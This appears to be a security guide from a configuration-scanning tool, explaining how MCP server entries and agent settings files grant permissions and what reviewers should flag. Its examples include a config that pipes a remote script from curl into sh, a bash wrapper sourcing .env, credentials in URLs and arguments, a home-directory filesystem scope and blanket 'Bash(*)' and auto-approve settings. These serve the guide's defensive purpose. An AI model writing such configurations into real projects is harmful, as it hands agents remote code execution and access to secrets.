Your MCP configuration is part of your security boundary

Everyone reviewing a pull request knows to slow down at auth.ts. Nobody slows down at .mcp.json, and .mcp.json is where the permissions actually are.

The diff nobody reads

  {
    "mcpServers": {
      "docs": {
        "command": "npx",
        "args": ["-y", "@modelcontextprotocol/server-filesystem@2025.8.21", "./docs"]
+     },
+     "db": {
+       "command": "npx",
+       "args": ["-y", "mcp-postgres-server"],
+       "env": { "DATABASE_URL": "${env:PROD_DATABASE_URL}" }
      }
    }
  }

Six added lines. No code. No dependency change that a scanner would flag: the token is referenced rather than hardcoded, which is the recommended practice.

What actually changed:

  • The agent can now run arbitrary SQL.
  • Against production.
  • Which means it can read every table, write every table, and drop every table.
  • And on several engines, reach the filesystem and the network from inside the database.

Every reviewer who looked at that diff saw "added a database server". The change is a privilege grant with the review process of a configuration tweak, and that mismatch is the single most reliable way agents acquire dangerous permissions.

What each field grants

An MCP server entry is small. Every field in it is a security decision.

{
  "mcpServers": {
    "example": {
      "command": "npx", // what code runs
      "args": ["-y", "pkg", "/path"], // what it runs on, and how it is found
      "env": { "TOKEN": "${env:TOKEN}" }, // what authority it acts with
      "url": "https://mcp.example/v1", // what it talks to, and how
      "headers": { "Authorization": "…" } // how it proves who it is
    }
  }
}

Commands and arguments

command and args are a program and its argv. Reviewing them means asking what that program is.

A shell wrapper is a red flag.

{ "command": "bash", "args": ["-c", "source ./.env && node ./tools/server.js"] }

Two problems compound. The actual program is now a string inside a config file, so nothing in your toolchain reviews it as code: no linter, no dependency scanner, no code owner. And a shell re-interprets it: variables expand, backticks and $() run, globs match, ; chains further commands. A value that reaches that string from anywhere else becomes command injection.

A shell wrapper is also a strong signal that something has been moved out of review, deliberately or not. GATE006.

A remote fetch is worse.

{
  "command": "sh",
  "args": ["-c", "curl -fsSL https://tools.example/mcp.sh | sh"]
}

Whatever that host serves at agent start is what runs, with your credentials behind it. No signature, no version, no record of what previously ran. GATE021.

A credential in argv is visible to the machine. Arguments are readable from /proc and ps on Unix and through WMI on Windows, and they are captured by process monitors, crash reporters and container runtimes. GATE002.

Environment variables

env is where the authority lives, and it is the field that most deserves the question "what can this actually do?"

"env": { "GITHUB_PERSONAL_ACCESS_TOKEN": "${env:GITHUB_TOKEN}" }

That is correct practice: the value is referenced, not embedded. It still tells you nothing about scope. GITHUB_TOKEN might be a fine-grained token for one repository or a classic PAT with repo across your entire organisation, and the diff looks identical either way.

Review the credential, not the reference. The line to ask about is not in the file.

Three specific things to look for:

  • A literal value. Rotate it. It is in git history now, and history is forever. GATE001.
  • Production indicators. PROD_, _PRODUCTION, sk_live_. Every other finding gets worse when this is present. GATE014.
  • Too many credentials on one server. Three or more means a single compromise of that server yields all of them. An .env file passed wholesale means every secret the application has. GATE020.

Remote URLs

{ "type": "http", "url": "http://mcp.vendor.example/v1" }

http rather than https means the bearer token, every tool argument and every tool result cross the network in the clear. The result is the underrated part: an attacker who can rewrite tool results has a direct prompt-injection channel into the agent. GATE003.

{ "url": "https://sk_live_51H8xY2eZvKYlo@mcp.vendor.example/v1" }

Credentials in a URL are credentials you have published to your entire request path. Proxy logs, CDN logs, Referer headers, error reports. GATE004.

And a remote server with no visible authentication is worth a question: if it does not authenticate you, it probably does not authenticate itself to you either, so you have no assurance the server answering is the one you configured. GATE017.

Filesystem scopes

The highest-leverage line in most configurations is a single path argument.

- "args": ["-y", "@modelcontextprotocol/server-filesystem", "/Users/me"]
+ "args": ["-y", "@modelcontextprotocol/server-filesystem", "/Users/me/code/project"]

The first grants the agent your SSH keys, your cloud credentials, your kubeconfig, your npm publish token, every other client's code, and every document you have. The second grants it the project.

One argument. See filesystem security. GATE008, GATE009.

Packages

{ "command": "npx", "args": ["-y", "@modelcontextprotocol/server-github"] }

No version. This resolves and executes whatever the registry serves at agent start, with no lockfile and no review, inside a process holding your GitHub token. A compromised maintainer account takes effect on the next restart.

Pin it. GATE007.

{
  "command": "npx",
  "args": ["-y", "@modelcontextprotocol/server-github@2025.4.8"]
}

Better still, add the server as a project dependency so it is covered by your lockfile, your dependency scanner and your existing review process.

Settings that are not servers

Server definitions are not the only security-relevant configuration.

.claude/settings.json

{
  "enableAllProjectMcpServers": true,
  "permissions": { "allow": ["Bash(*)"] }
}

.vscode/settings.json

{ "chat.tools.autoApprove": true }

These do not add a capability. They remove the last control standing between a bad decision and its consequences, for every tool at once, including the ones added later. They are also frequently committed by accident: switched on to get through a tedious session, then landing in a shared file forever. GATE019.

Put it in source control, then scan it

Some teams respond to all of this by keeping agent configuration out of git. That is exactly backwards.

Untracked configuration grants real capability and receives no review. Nobody sees it in a pull request, nobody notices when it changes, and git log cannot tell you when the agent gained a shell. It also differs silently between machines, so "it works on my laptop" becomes a security statement.

Commit shared agent configuration. Keep genuinely personal settings in the documented local-override file and git-ignore that explicitly. GATE022.

Then scan it, in CI, on every pull request:

npx @usegate/cli scan

What CI should say

The useful output is the difference, not the total:

This change increases the agent's blast radius.

NEW capabilities: execute, delete
  + db: PostgreSQL server; can execute arbitrary commands or queries
Baseline blast radius was MODERATE, recorded 2026-08-01.

That is a sentence a reviewer acts on. It is specific, it points at the six lines that caused it, and it reframes the diff as what it actually is, not "added a database server", but "granted the agent the ability to drop production tables".

Record a baseline, turn on fail-on-new-only, and the configuration file stops being the part of the diff nobody reads.

Was this page helpful?